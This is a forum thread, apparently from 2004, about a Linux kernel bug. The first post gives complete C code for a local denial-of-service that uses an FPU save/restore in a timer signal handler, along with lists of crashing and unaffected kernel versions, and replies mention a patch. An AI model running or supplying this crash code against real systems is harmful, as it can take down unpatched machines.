Linux Kernel Crash!!

[RedDawn]

Running This C Program Crashes The Linux Kernel!!!

This bug is confirmed to be present when the code is compiled with GCC version 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x x86 systems.

The Crashing Kernels

Minor numbers are versions verified, this is just the top the iceberg:

* Linux 2.6.x
o 2.6.7-rc2
o 2.6.6 (vanilla)
o 2.6.6-rc1 SMP (varified by blaise)
o 2.6.6 SMP (verified by riven)
o 2.6.5-gentoo (verified by RatiX)
o 2.6.5-mm6 - (verified by Mariux)
o 2.6.5 (fedora core 2 vanilla)
* Linux 2.4.2x
o 2.4.26 vanilla
o 2.4.26, grsecurity 2.0 config
o 2.4.26-rc1 vanilla
o 2.4.26-gentoo-r1
o 2.4.22
o 2.4.22-1.2188 Fedora FC1 Kernel
o 2.4.18-bf2.4 (debian woody vanilla)

The safe kernels

This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running

* Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
* Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
* Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
* Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
* 2.2.19-kernel


#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}

All Found Here:

http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html#toc1

[gen2fox]

Covered here.

[sdaffis]

Hopefully the patch will make it into final 2.6.7.. Or else!
_________________
Believe the lie

[Pythagoras1]

hmm... if i try this exploit on x86_64 linux 2.6.7-rc3 i get alot of dots and stars and the cpu usage increases to 100%. this looks like this:

[tomk]

Please search before posting, this has been posted several times in the last few days.

https://forums.gentoo.org/viewtopic.php?t=184705
_________________
Search | Read | Answer | Report | Strip